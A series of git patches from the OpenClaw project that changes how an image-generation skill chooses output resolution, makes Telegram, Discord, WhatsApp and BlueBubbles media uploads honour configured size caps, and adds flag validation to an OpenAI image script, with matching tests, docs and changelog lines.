a/skills/nano-banana-pro/scripts/generate_image.py b/skills/nano-banana-pro/scripts/generate_image.py index e13502e08bd..be9821a947e 100755 --- a/skills/nano-banana-pro/scripts/generate_image.py +++ b/skills/nano-banana-pro/scripts/generate_image.py @@ -42,6 +42,33 @@ def get_api_key(provided_key: str | None) -> str | None: return os.environ.get("GEMINI_API_KEY") +def auto_detect_resolution(max_input_dim: int) -> str: + """Infer output resolution from the largest input image dimension.""" + if max_input_dim >= 3000: + return "4K" + if max_input_dim >= 1500: + return "2K" + return "1K" + + +def choose_output_resolution( + requested_resolution: str | None, + max_input_dim: int, + has_input_images: bool, +) -> tuple[str, bool]: + """Choose final resolution and whether it was auto-detected. + + Auto-detection is only applied when the user did not pass --resolution. + """ + if requested_resolution is not None: + return requested_resolution, False + + if has_input_images and max_input_dim > 0: + return auto_detect_resolution(max_input_dim), True + + return "1K", False + + def main(): parser = argparse.ArgumentParser( description="Generate images using Nano Banana Pro (Gemini 3 Pro Image)" @@ -66,8 +93,8 @@ def main(): parser.add_argument( "--resolution", "-r", choices=["1K", "2K", "4K"], - default="1K", - help="Output resolution: 1K (default), 2K, or 4K" + default=None, + help="Output resolution: 1K, 2K, or 4K. If omitted with input images, auto-detect from largest image dimension." ) parser.add_argument( "--aspect-ratio", "-a", @@ -105,13 +132,12 @@ def main(): # Load input images if provided (up to 14 supported by Nano Banana Pro) input_images = [] - output_resolution = args.resolution + max_input_dim = 0 if args.input_images: if len(args.input_images) > 14: print(f"Error: Too many input images ({len(args.input_images)}). Maximum is 14.", file=sys.stderr) sys.exit(1) - max_input_dim = 0 for img_path in args.input_images: try: with PILImage.open(img_path) as img: @@ -126,15 +152,16 @@ def main(): print(f"Error loading input image '{img_path}': {e}", file=sys.stderr) sys.exit(1) - # Auto-detect resolution from largest input if not explicitly set - if args.resolution == "1K" and max_input_dim > 0: # Default value - if max_input_dim >= 3000: - output_resolution = "4K" - elif max_input_dim >= 1500: - output_resolution = "2K" - else: - output_resolution = "1K" - print(f"Auto-detected resolution: {output_resolution} (from max input dimension {max_input_dim})") + output_resolution, auto_detected = choose_output_resolution( + requested_resolution=args.resolution, + max_input_dim=max_input_dim, + has_input_images=bool(input_images), + ) + if auto_detected: + print( + f"Auto-detected resolution: {output_resolution} " + f"(from max input dimension {max_input_dim})" + ) # Build contents (images first if editing, prompt only if generating) if input_images: diff --git a/skills/nano-banana-pro/scripts/test_generate_image.py b/skills/nano-banana-pro/scripts/test_generate_image.py new file mode 100644 index 00000000000..1dbae257428 --- /dev/null +++ b/skills/nano-banana-pro/scripts/test_generate_image.py @@ -0,0 +1,36 @@ +import importlib.util +from pathlib import Path + +import pytest + +MODULE_PATH = Path(__file__).with_name("generate_image.py") +SPEC = importlib.util.spec_from_file_location("generate_image", MODULE_PATH) +assert SPEC and SPEC.loader +MODULE = importlib.util.module_from_spec(SPEC) +SPEC.loader.exec_module(MODULE) + + +@pytest.mark.parametrize( + ("max_input_dim", "expected"), + [ + (0, "1K"), + (1499, "1K"), + (1500, "2K"), + (2999, "2K"), + (3000, "4K"), + ], +) +def test_auto_detect_resolution_thresholds(max_input_dim, expected): + assert MODULE.auto_detect_resolution(max_input_dim) == expected + + +def test_choose_output_resolution_auto_detects_when_resolution_omitted(): + assert MODULE.choose_output_resolution(None, 2200, True) == ("2K", True) + + +def test_choose_output_resolution_defaults_to_1k_without_inputs(): + assert MODULE.choose_output_resolution(None, 0, False) == ("1K", False) + + +def test_choose_output_resolution_respects_explicit_1k_with_large_input(): + assert MODULE.choose_output_resolution("1K", 3500, True) == ("1K", False) From 05c2cbf0e9199e5b35ebdcd4fc400ab9cc03e80c Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 10:51:11 -0500 Subject: [PATCH 018/844] Skills/nano-banana-pro: clarify MEDIA token comment (#38063) --- skills/nano-banana-pro/scripts/generate_image.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/skills/nano-banana-pro/scripts/generate_image.py b/skills/nano-banana-pro/scripts/generate_image.py index be9821a947e..796022adfba 100755 --- a/skills/nano-banana-pro/scripts/generate_image.py +++ b/skills/nano-banana-pro/scripts/generate_image.py @@ -219,8 +219,8 @@ def main(): if image_saved: full_path = output_path.resolve() print(f"\nImage saved: {full_path}") - # OpenClaw parses MEDIA: tokens (line-start, no space after colon) - # and will attach the file on supported chat providers. + # OpenClaw parses MEDIA: tokens and will attach the file on + # supported chat providers. Emit the canonical MEDIA: form. print(f"MEDIA:{full_path}") else: print("Error: No image was generated in the response.", file=sys.stderr) From 9917a3fb778550e935c79bb20303b2291c033c28 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 10:51:30 -0500 Subject: [PATCH 019/844] CI: run changed-scope on main pushes --- .github/workflows/ci.yml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a30087d6ec9..574f9fe8c08 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -29,10 +29,11 @@ jobs: uses: ./.github/actions/detect-docs-changes # Detect which heavy areas are touched so PRs can skip unrelated expensive jobs. - # Push to main keeps broad coverage. + # Push to main keeps broad coverage, but this job still needs to run so + # downstream jobs that list it in `needs` are not skipped. changed-scope: needs: [docs-scope] - if: github.event_name == 'pull_request' && needs.docs-scope.outputs.docs_only != 'true' + if: needs.docs-scope.outputs.docs_only != 'true' runs-on: blacksmith-16vcpu-ubuntu-2404 outputs: run_node: ${{ steps.scope.outputs.run_node }} From 9c1786bdd6cc2d1662e2a1593f0152a8a3ccec36 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 10:53:06 -0500 Subject: [PATCH 020/844] Telegram/Discord: honor outbound mediaMaxMb uploads (#38065) * Telegram: default media cap to 100MB * Telegram: honor outbound mediaMaxMb * Discord: add shared media upload cap * Discord: pass mediaMaxMb to outbound sends * Telegram: cover outbound media cap sends * Discord: cover media upload cap config * Docs: update Telegram media cap guide * Docs: update Telegram config reference * Changelog: note media upload cap fix * Docs: note Discord upload cap behavior --- CHANGELOG.md | 1 + docs/channels/discord.md | 1 + docs/channels/telegram.md | 4 +- docs/gateway/configuration-reference.md | 2 +- src/discord/send.outbound.ts | 6 ++ .../send.sends-basic-channel-messages.test.ts | 28 +++++++++ src/discord/send.shared.ts | 6 +- src/telegram/bot.ts | 2 +- src/telegram/send.test.ts | 63 +++++++++++++++++++ src/telegram/send.ts | 5 +- 10 files changed, 112 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 51e319f631f..4de7dd56eac 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -196,6 +196,7 @@ Docs: https://docs.openclaw.ai - Agents/gateway config guidance: stop exposing `config.schema` through the agent `gateway` tool, remove prompt/docs guidance that told agents to call it, and keep agents on `config.get` plus `config.patch`/`config.apply` for config changes. (#7382) thanks @kakuteki. - Agents/failover: classify periodic provider limit exhaustion text (for example `Weekly/Monthly Limit Exhausted`) as `rate_limit` while keeping explicit `402 Payment Required` variants in billing, so failover continues without misclassifying billing-wrapped quota errors. (#33813) thanks @zhouhe-xydt. - Mattermost/interactive button callbacks: allow external callback base URLs and stop requiring loopback-origin requests so button clicks work when Mattermost reaches the gateway over Tailscale, LAN, or a reverse proxy. (#37543) thanks @mukhtharcm. +- Telegram/Discord media upload caps: make outbound uploads honor channel `mediaMaxMb` config, raise Telegram's default media cap to 100MB, and remove MIME fallback limits that kept some Telegram uploads at 16MB. Thanks @vincentkoc. - Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. ## 2026.3.2 diff --git a/docs/channels/discord.md b/docs/channels/discord.md index 86e80430f7b..8266cf4c26e 100644 --- a/docs/channels/discord.md +++ b/docs/channels/discord.md @@ -1194,6 +1194,7 @@ High-signal Discord fields: - delivery: `textChunkLimit`, `chunkMode`, `maxLinesPerMessage` - streaming: `streaming` (legacy alias: `streamMode`), `draftChunk`, `blockStreaming`, `blockStreamingCoalesce` - media/retry: `mediaMaxMb`, `retry` + - `mediaMaxMb` caps outbound Discord uploads (default: `8MB`) - actions: `actions.*` - presence: `activity`, `status`, `activityType`, `activityUrl` - UI: `ui.components.accentColor` diff --git a/docs/channels/telegram.md b/docs/channels/telegram.md index 817ae1d51d4..e975db4c357 100644 --- a/docs/channels/telegram.md +++ b/docs/channels/telegram.md @@ -724,7 +724,7 @@ curl "https://api.telegram.org/bot/getUpdates" - `channels.telegram.textChunkLimit` default is 4000. - `channels.telegram.chunkMode="newline"` prefers paragraph boundaries (blank lines) before length splitting. - - `channels.telegram.mediaMaxMb` (default 5) caps inbound Telegram media download/processing size. + - `channels.telegram.mediaMaxMb` (default 100) caps inbound and outbound Telegram media size. - `channels.telegram.timeoutSeconds` overrides Telegram API client timeout (if unset, grammY default applies). - group context history uses `channels.telegram.historyLimit` or `messages.groupChat.historyLimit` (default 50); `0` disables. - DM history controls: @@ -873,7 +873,7 @@ Primary reference: - `channels.telegram.chunkMode`: `length` (default) or `newline` to split on blank lines (paragraph boundaries) before length chunking. - `channels.telegram.linkPreview`: toggle link previews for outbound messages (default: true). - `channels.telegram.streaming`: `off | partial | block | progress` (live stream preview; default: `partial`; `progress` maps to `partial`; `block` is legacy preview mode compatibility). In DMs, `partial` uses native `sendMessageDraft` when available. -- `channels.telegram.mediaMaxMb`: inbound Telegram media download/processing cap (MB). +- `channels.telegram.mediaMaxMb`: inbound/outbound Telegram media cap (MB, default: 100). - `channels.telegram.retry`: retry policy for Telegram send helpers (CLI/tools/actions) on recoverable outbound API errors (attempts, minDelayMs, maxDelayMs, jitter). - `channels.telegram.network.autoSelectFamily`: override Node autoSelectFamily (true=enable, false=disable). Defaults to enabled on Node 22+, with WSL2 defaulting to disabled. - `channels.telegram.network.dnsResultOrder`: override DNS result order (`ipv4first` or `verbatim`). Defaults to `ipv4first` on Node 22+. diff --git a/docs/gateway/configuration-reference.md b/docs/gateway/configuration-reference.md index e204be9b7b5..30559b5d55d 100644 --- a/docs/gateway/configuration-reference.md +++ b/docs/gateway/configuration-reference.md @@ -183,7 +183,7 @@ WhatsApp runs through the gateway's web channel (Baileys Web). It starts automat streaming: "partial", // off | partial | block | progress (default: off) actions: { reactions: true, sendMessage: true }, reactionNotifications: "own", // off | own | all - mediaMaxMb: 5, + mediaMaxMb: 100, retry: { attempts: 3, minDelayMs: 400, diff --git a/src/discord/send.outbound.ts b/src/discord/send.outbound.ts index 533d4060ed5..8234291e7ed 100644 --- a/src/discord/send.outbound.ts +++ b/src/discord/send.outbound.ts @@ -145,6 +145,10 @@ export async function sendMessageDiscord( accountId: accountInfo.accountId, }); const chunkMode = resolveChunkMode(cfg, "discord", accountInfo.accountId); + const mediaMaxBytes = + typeof accountInfo.config.mediaMaxMb === "number" + ? accountInfo.config.mediaMaxMb * 1024 * 1024 + : 8 * 1024 * 1024; const textWithTables = convertMarkdownTables(text ?? "", tableMode); const textWithMentions = rewriteDiscordKnownMentions(textWithTables, { accountId: accountInfo.accountId, @@ -211,6 +215,7 @@ export async function sendMessageDiscord( mediaCaption ?? "", opts.mediaUrl, opts.mediaLocalRoots, + mediaMaxBytes, undefined, request, accountInfo.config.maxLinesPerMessage, @@ -271,6 +276,7 @@ export async function sendMessageDiscord( textWithMentions, opts.mediaUrl, opts.mediaLocalRoots, + mediaMaxBytes, opts.replyTo, request, accountInfo.config.maxLinesPerMessage, diff --git a/src/discord/send.sends-basic-channel-messages.test.ts b/src/discord/send.sends-basic-channel-messages.test.ts index 6241fce7996..58b8e3799b7 100644 --- a/src/discord/send.sends-basic-channel-messages.test.ts +++ b/src/discord/send.sends-basic-channel-messages.test.ts @@ -1,5 +1,6 @@ import { ChannelType, PermissionFlagsBits, Routes } from "discord-api-types/v10"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import { loadWebMedia } from "../web/media.js"; import { __resetDiscordDirectoryCacheForTest, rememberDiscordDirectoryUser, @@ -265,6 +266,33 @@ describe("sendMessageDiscord", () => { }), }), ); + expect(loadWebMedia).toHaveBeenCalledWith( + "file:///tmp/photo.jpg", + expect.objectContaining({ maxBytes: 8 * 1024 * 1024 }), + ); + }); + + it("uses configured discord mediaMaxMb for uploads", async () => { + const { rest, postMock } = makeDiscordRest(); + postMock.mockResolvedValue({ id: "msg", channel_id: "789" }); + + await sendMessageDiscord("channel:789", "photo", { + rest, + token: "t", + mediaUrl: "file:///tmp/photo.jpg", + cfg: { + channels: { + discord: { + mediaMaxMb: 32, + }, + }, + }, + }); + + expect(loadWebMedia).toHaveBeenCalledWith( + "file:///tmp/photo.jpg", + expect.objectContaining({ maxBytes: 32 * 1024 * 1024 }), + ); }); it("sends media with empty text without content field", async () => { diff --git a/src/discord/send.shared.ts b/src/discord/send.shared.ts index fddc276fccf..a90f0ffe01f 100644 --- a/src/discord/send.shared.ts +++ b/src/discord/send.shared.ts @@ -415,6 +415,7 @@ async function sendDiscordMedia( text: string, mediaUrl: string, mediaLocalRoots: readonly string[] | undefined, + maxBytes: number | undefined, replyTo: string | undefined, request: DiscordRequest, maxLinesPerMessage?: number, @@ -423,7 +424,10 @@ async function sendDiscordMedia( chunkMode?: ChunkMode, silent?: boolean, ) { - const media = await loadWebMedia(mediaUrl, buildOutboundMediaLoadOptions({ mediaLocalRoots })); + const media = await loadWebMedia( + mediaUrl, + buildOutboundMediaLoadOptions({ maxBytes, mediaLocalRoots }), + ); const chunks = text ? buildDiscordTextChunks(text, { maxLinesPerMessage, chunkMode }) : []; const caption = chunks[0] ?? ""; const messageReference = replyTo ? { message_id: replyTo, fail_if_not_exists: false } : undefined; diff --git a/src/telegram/bot.ts b/src/telegram/bot.ts index 723db7ae508..9549fe71986 100644 --- a/src/telegram/bot.ts +++ b/src/telegram/bot.ts @@ -262,7 +262,7 @@ export function createTelegramBot(opts: TelegramBotOptions) { }); const useAccessGroups = cfg.commands?.useAccessGroups !== false; const ackReactionScope = cfg.messages?.ackReactionScope ?? "group-mentions"; - const mediaMaxBytes = (opts.mediaMaxMb ?? telegramCfg.mediaMaxMb ?? 5) * 1024 * 1024; + const mediaMaxBytes = (opts.mediaMaxMb ?? telegramCfg.mediaMaxMb ?? 100) * 1024 * 1024; const logger = getChildLogger({ module: "telegram-auto-reply" }); const streamMode = resolveTelegramStreamMode(telegramCfg); const resolveGroupPolicy = (chatId: string | number) => diff --git a/src/telegram/send.test.ts b/src/telegram/send.test.ts index 78a28cd3920..59c98ea3a96 100644 --- a/src/telegram/send.test.ts +++ b/src/telegram/send.test.ts @@ -1149,6 +1149,69 @@ describe("sendMessageTelegram", () => { }); expect(res.messageId).toBe("59"); }); + + it("defaults outbound media uploads to 100MB", async () => { + const chatId = "123"; + const sendPhoto = vi.fn().mockResolvedValue({ + message_id: 60, + chat: { id: chatId }, + }); + const api = { sendPhoto } as unknown as { + sendPhoto: typeof sendPhoto; + }; + + mockLoadedMedia({ + buffer: Buffer.from("fake-image"), + contentType: "image/jpeg", + fileName: "photo.jpg", + }); + + await sendMessageTelegram(chatId, "photo", { + token: "tok", + api, + mediaUrl: "https://example.com/photo.jpg", + }); + + expect(loadWebMedia).toHaveBeenCalledWith( + "https://example.com/photo.jpg", + expect.objectContaining({ maxBytes: 100 * 1024 * 1024 }), + ); + }); + + it("uses configured telegram mediaMaxMb for outbound uploads", async () => { + const chatId = "123"; + const sendPhoto = vi.fn().mockResolvedValue({ + message_id: 61, + chat: { id: chatId }, + }); + const api = { sendPhoto } as unknown as { + sendPhoto: typeof sendPhoto; + }; + loadConfig.mockReturnValue({ + channels: { + telegram: { + mediaMaxMb: 42, + }, + }, + }); + + mockLoadedMedia({ + buffer: Buffer.from("fake-image"), + contentType: "image/jpeg", + fileName: "photo.jpg", + }); + + await sendMessageTelegram(chatId, "photo", { + token: "tok", + api, + mediaUrl: "https://example.com/photo.jpg", + }); + + expect(loadWebMedia).toHaveBeenCalledWith( + "https://example.com/photo.jpg", + expect.objectContaining({ maxBytes: 42 * 1024 * 1024 }), + ); + }); }); describe("reactMessageTelegram", () => { diff --git a/src/telegram/send.ts b/src/telegram/send.ts index b04bd792529..61292f66608 100644 --- a/src/telegram/send.ts +++ b/src/telegram/send.ts @@ -473,6 +473,9 @@ export async function sendMessageTelegram( verbose: opts.verbose, }); const mediaUrl = opts.mediaUrl?.trim(); + const mediaMaxBytes = + opts.maxBytes ?? + (typeof account.config.mediaMaxMb === "number" ? account.config.mediaMaxMb : 100) * 1024 * 1024; const replyMarkup = buildInlineKeyboard(opts.buttons); const threadParams = buildTelegramThreadReplyParams({ @@ -563,7 +566,7 @@ export async function sendMessageTelegram( const media = await loadWebMedia( mediaUrl, buildOutboundMediaLoadOptions({ - maxBytes: opts.maxBytes, + maxBytes: mediaMaxBytes, mediaLocalRoots: opts.mediaLocalRoots, }), ); From 7c45d918bf81d4cfa8a7b00281f9d6c686eee11b Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 10:55:56 -0500 Subject: [PATCH 021/844] Docs: align BlueBubbles media cap wording --- docs/channels/bluebubbles.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/channels/bluebubbles.md b/docs/channels/bluebubbles.md index 8654bb9795d..9c2f0eb6de4 100644 --- a/docs/channels/bluebubbles.md +++ b/docs/channels/bluebubbles.md @@ -283,7 +283,7 @@ Control whether responses are sent as a single message or streamed in blocks: ## Media + limits - Inbound attachments are downloaded and stored in the media cache. -- Media cap via `channels.bluebubbles.mediaMaxMb` (default: 8 MB). +- Media cap via `channels.bluebubbles.mediaMaxMb` for inbound and outbound media (default: 8 MB). - Outbound text is chunked to `channels.bluebubbles.textChunkLimit` (default: 4000 chars). ## Configuration reference @@ -305,7 +305,7 @@ Provider options: - `channels.bluebubbles.blockStreaming`: Enable block streaming (default: `false`; required for streaming replies). - `channels.bluebubbles.textChunkLimit`: Outbound chunk size in chars (default: 4000). - `channels.bluebubbles.chunkMode`: `length` (default) splits only when exceeding `textChunkLimit`; `newline` splits on blank lines (paragraph boundaries) before length chunking. -- `channels.bluebubbles.mediaMaxMb`: Inbound media cap in MB (default: 8). +- `channels.bluebubbles.mediaMaxMb`: Inbound/outbound media cap in MB (default: 8). - `channels.bluebubbles.mediaLocalRoots`: Explicit allowlist of absolute local directories permitted for outbound local media paths. Local path sends are denied by default unless this is configured. Per-account override: `channels.bluebubbles.accounts..mediaLocalRoots`. - `channels.bluebubbles.historyLimit`: Max group messages for context (0 disables). - `channels.bluebubbles.dmHistoryLimit`: DM history limit. From 20038fb95543f6ed70aae6e19bf4d1258f7cc7ec Mon Sep 17 00:00:00 2001 From: Mark Zhang Date: Sat, 7 Mar 2026 00:04:25 +0800 Subject: [PATCH 022/844] openai-image-gen: validate --background and --style options (#36762) * openai-image-gen: validate --background and --style inputs * Skills/openai-image-gen: warn on ignored background and style flags * Skills/openai-image-gen: cover empty and warning cases * Changelog: note openai image flag validation * Skills/openai-image-gen: fix Python import order --------- Co-authored-by: Vincent Koc --- CHANGELOG.md | 1 + skills/openai-image-gen/scripts/gen.py | 53 +++++++++++++++++++- skills/openai-image-gen/scripts/test_gen.py | 54 +++++++++++++++++++-- 3 files changed, 103 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4de7dd56eac..44aef588c87 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -198,6 +198,7 @@ Docs: https://docs.openclaw.ai - Mattermost/interactive button callbacks: allow external callback base URLs and stop requiring loopback-origin requests so button clicks work when Mattermost reaches the gateway over Tailscale, LAN, or a reverse proxy. (#37543) thanks @mukhtharcm. - Telegram/Discord media upload caps: make outbound uploads honor channel `mediaMaxMb` config, raise Telegram's default media cap to 100MB, and remove MIME fallback limits that kept some Telegram uploads at 16MB. Thanks @vincentkoc. - Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. +- Skills/openai-image-gen CLI validation: validate `--background` and `--style` inputs early, normalize supported values, and warn when those flags are ignored for incompatible models. (#36762) Thanks @shuofengzhang and @vincentkoc. ## 2026.3.2 diff --git a/skills/openai-image-gen/scripts/gen.py b/skills/openai-image-gen/scripts/gen.py index 4043f1a8ed7..b58095add94 100644 --- a/skills/openai-image-gen/scripts/gen.py +++ b/skills/openai-image-gen/scripts/gen.py @@ -75,6 +75,48 @@ def get_model_defaults(model: str) -> tuple[str, str]: return ("1024x1024", "high") +def normalize_background(model: str, background: str) -> str: + """Validate --background for GPT image models.""" + value = background.strip().lower() + if not value: + return "" + + if not model.startswith("gpt-image"): + print( + f"Warning: --background is only supported for gpt-image models; ignoring for '{model}'.", + file=sys.stderr, + ) + return "" + + allowed = {"transparent", "opaque", "auto"} + if value not in allowed: + raise ValueError( + f"Invalid --background '{background}'. Allowed values: transparent, opaque, auto." + ) + return value + + +def normalize_style(model: str, style: str) -> str: + """Validate --style for dall-e-3.""" + value = style.strip().lower() + if not value: + return "" + + if model != "dall-e-3": + print( + f"Warning: --style is only supported for dall-e-3; ignoring for '{model}'.", + file=sys.stderr, + ) + return "" + + allowed = {"vivid", "natural"} + if value not in allowed: + raise ValueError( + f"Invalid --style '{style}'. Allowed values for dall-e-3: vivid, natural." + ) + return value + + def request_images( api_key: str, prompt: str, @@ -194,6 +236,13 @@ def main() -> int: prompts = [args.prompt] * count if args.prompt else pick_prompts(count) + try: + normalized_background = normalize_background(args.model, args.background) + normalized_style = normalize_style(args.model, args.style) + except ValueError as e: + print(str(e), file=sys.stderr) + return 2 + # Determine file extension based on output format if args.model.startswith("gpt-image") and args.output_format: file_ext = args.output_format @@ -209,9 +258,9 @@ def main() -> int: args.model, size, quality, - args.background, + normalized_background, args.output_format, - args.style, + normalized_style, ) data = res.get("data", [{}])[0] image_b64 = data.get("b64_json") diff --git a/skills/openai-image-gen/scripts/test_gen.py b/skills/openai-image-gen/scripts/test_gen.py index 3f0a38d978f..ae1869dce7b 100644 --- a/skills/openai-image-gen/scripts/test_gen.py +++ b/skills/openai-image-gen/scripts/test_gen.py @@ -1,9 +1,58 @@ -"""Tests for write_gallery HTML escaping (fixes #12538 - stored XSS).""" +"""Tests for openai-image-gen helpers.""" import tempfile from pathlib import Path -from gen import write_gallery +import pytest +from gen import normalize_background, normalize_style, write_gallery + + +def test_normalize_background_allows_empty_for_non_gpt_models(): + assert normalize_background("dall-e-3", "transparent") == "" + + +def test_normalize_background_allows_empty_for_gpt_models(): + assert normalize_background("gpt-image-1", "") == "" + assert normalize_background("gpt-image-1", " ") == "" + + +def test_normalize_background_normalizes_case_for_gpt_models(): + assert normalize_background("gpt-image-1", "TRANSPARENT") == "transparent" + + +def test_normalize_background_warns_when_model_does_not_support_flag(capsys): + assert normalize_background("dall-e-3", "transparent") == "" + captured = capsys.readouterr() + assert "--background is only supported for gpt-image models" in captured.err + + +def test_normalize_background_rejects_invalid_values(): + with pytest.raises(ValueError, match="Invalid --background"): + normalize_background("gpt-image-1", "checkerboard") + + +def test_normalize_style_allows_empty_for_non_dalle3_models(): + assert normalize_style("gpt-image-1", "vivid") == "" + + +def test_normalize_style_allows_empty_for_dalle3(): + assert normalize_style("dall-e-3", "") == "" + assert normalize_style("dall-e-3", " ") == "" + + +def test_normalize_style_normalizes_case_for_dalle3(): + assert normalize_style("dall-e-3", "NATURAL") == "natural" + + +def test_normalize_style_warns_when_model_does_not_support_flag(capsys): + assert normalize_style("gpt-image-1", "vivid") == "" + captured = capsys.readouterr() + assert "--style is only supported for dall-e-3" in captured.err + + +def test_normalize_style_rejects_invalid_values(): + with pytest.raises(ValueError, match="Invalid --style"): + normalize_style("dall-e-3", "cinematic") def test_write_gallery_escapes_prompt_xss(): @@ -47,4 +96,3 @@ def test_write_gallery_normal_output(): assert "a lobster astronaut, golden hour" in html assert 'src="001-lobster.png"' in html assert "002-nook.png" in html - From 222d635aeec24dfd34e45fe02f3d72d30f52c7ff Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 11:08:15 -0500 Subject: [PATCH 023/844] WhatsApp: honor outbound mediaMaxMb (#38097) * WhatsApp: add media cap helper * WhatsApp: cap outbound media loads * WhatsApp: align auto-reply media caps * WhatsApp: add outbound media cap test * WhatsApp: update auto-reply cap tests * Docs: update WhatsApp media caps * Changelog: note WhatsApp media cap fix --- CHANGELOG.md | 1 + docs/channels/whatsapp.md | 3 +- src/web/accounts.ts | 12 ++++ ...compresses-common-formats-jpeg-cap.test.ts | 58 ++++++++++++++++++- src/web/auto-reply/monitor.ts | 9 +-- src/web/outbound.test.ts | 42 ++++++++++++++ src/web/outbound.ts | 6 ++ 7 files changed, 121 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 44aef588c87..eca10030625 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -199,6 +199,7 @@ Docs: https://docs.openclaw.ai - Telegram/Discord media upload caps: make outbound uploads honor channel `mediaMaxMb` config, raise Telegram's default media cap to 100MB, and remove MIME fallback limits that kept some Telegram uploads at 16MB. Thanks @vincentkoc. - Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. - Skills/openai-image-gen CLI validation: validate `--background` and `--style` inputs early, normalize supported values, and warn when those flags are ignored for incompatible models. (#36762) Thanks @shuofengzhang and @vincentkoc. +- WhatsApp media upload caps: make outbound media sends and auto-replies honor `channels.whatsapp.mediaMaxMb` with per-account overrides so inbound and outbound limits use the same channel config. Thanks @vincentkoc. ## 2026.3.2 diff --git a/docs/channels/whatsapp.md b/docs/channels/whatsapp.md index d92dfda9c75..cad9fe77ee3 100644 --- a/docs/channels/whatsapp.md +++ b/docs/channels/whatsapp.md @@ -308,7 +308,8 @@ When the linked self number is also present in `allowFrom`, WhatsApp self-chat s - inbound media save cap: `channels.whatsapp.mediaMaxMb` (default `50`) - - outbound media cap for auto-replies: `agents.defaults.mediaMaxMb` (default `5MB`) + - outbound media send cap: `channels.whatsapp.mediaMaxMb` (default `50`) + - per-account overrides use `channels.whatsapp.accounts..mediaMaxMb` - images are auto-optimized (resize/quality sweep) to fit limits - on media send failure, first-item fallback sends text warning instead of dropping the response silently diff --git a/src/web/accounts.ts b/src/web/accounts.ts index 52fb5caabeb..3370d4c9d80 100644 --- a/src/web/accounts.ts +++ b/src/web/accounts.ts @@ -31,6 +31,8 @@ export type ResolvedWhatsAppAccount = { debounceMs?: number; }; +export const DEFAULT_WHATSAPP_MEDIA_MAX_MB = 50; + const { listConfiguredAccountIds, listAccountIds, resolveDefaultAccountId } = createAccountListHelpers("whatsapp"); export const listWhatsAppAccountIds = listAccountIds; @@ -147,6 +149,16 @@ export function resolveWhatsAppAccount(params: { }; } +export function resolveWhatsAppMediaMaxBytes( + account: Pick, +): number { + const mediaMaxMb = + typeof account.mediaMaxMb === "number" && account.mediaMaxMb > 0 + ? account.mediaMaxMb + : DEFAULT_WHATSAPP_MEDIA_MAX_MB; + return mediaMaxMb * 1024 * 1024; +} + export function listEnabledWhatsAppAccounts(cfg: OpenClawConfig): ResolvedWhatsAppAccount[] { return listWhatsAppAccountIds(cfg) .map((accountId) => resolveWhatsAppAccount({ cfg, accountId })) diff --git a/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts b/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts index 9d74ece0e64..7d9e5150d92 100644 --- a/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts +++ b/src/web/auto-reply.web-auto-reply.compresses-common-formats-jpeg-cap.test.ts @@ -73,7 +73,14 @@ describe("web auto-reply", () => { } async function withMediaCap(mediaMaxMb: number, run: () => Promise): Promise { - setLoadConfigMock(() => ({ agents: { defaults: { mediaMaxMb } } })); + setLoadConfigMock(() => ({ + channels: { + whatsapp: { + allowFrom: ["*"], + mediaMaxMb, + }, + }, + })); try { return await run(); } finally { @@ -215,7 +222,7 @@ describe("web auto-reply", () => { }); }); - it("honors mediaMaxMb from config", async () => { + it("honors channels.whatsapp.mediaMaxMb for outbound auto-replies", async () => { const bigPng = await sharp({ create: { width: 256, @@ -235,6 +242,53 @@ describe("web auto-reply", () => { mediaMaxMb: SMALL_MEDIA_CAP_MB, }); }); + + it("prefers per-account WhatsApp media caps for outbound auto-replies", async () => { + const bigPng = await sharp({ + create: { + width: 256, + height: 256, + channels: 3, + background: { r: 255, g: 0, b: 0 }, + }, + }) + .png({ compressionLevel: 0 }) + .toBuffer(); + expect(bigPng.length).toBeGreaterThan(SMALL_MEDIA_CAP_BYTES); + + setLoadConfigMock(() => ({ + channels: { + whatsapp: { + allowFrom: ["*"], + mediaMaxMb: 1, + accounts: { + work: { + mediaMaxMb: SMALL_MEDIA_CAP_MB, + }, + }, + }, + }, + })); + + try { + const sendMedia = vi.fn(); + const { reply, dispatch } = await setupSingleInboundMessage({ + resolverValue: { text: "hi", mediaUrl: "https://example.com/account-big.png" }, + sendMedia, + }); + const fetchMock = mockFetchMediaBuffer(bigPng, "image/png"); + + await dispatch("msg-account-cap", { accountId: "work" }); + + const payload = getSingleImagePayload(sendMedia); + expect(payload.image.length).toBeLessThanOrEqual(SMALL_MEDIA_CAP_BYTES); + expect(payload.mimetype).toBe("image/jpeg"); + expect(reply).not.toHaveBeenCalled(); + fetchMock.mockRestore(); + } finally { + resetLoadConfigMock(); + } + }); it("falls back to text when media is unsupported", async () => { const sendMedia = vi.fn(); const { 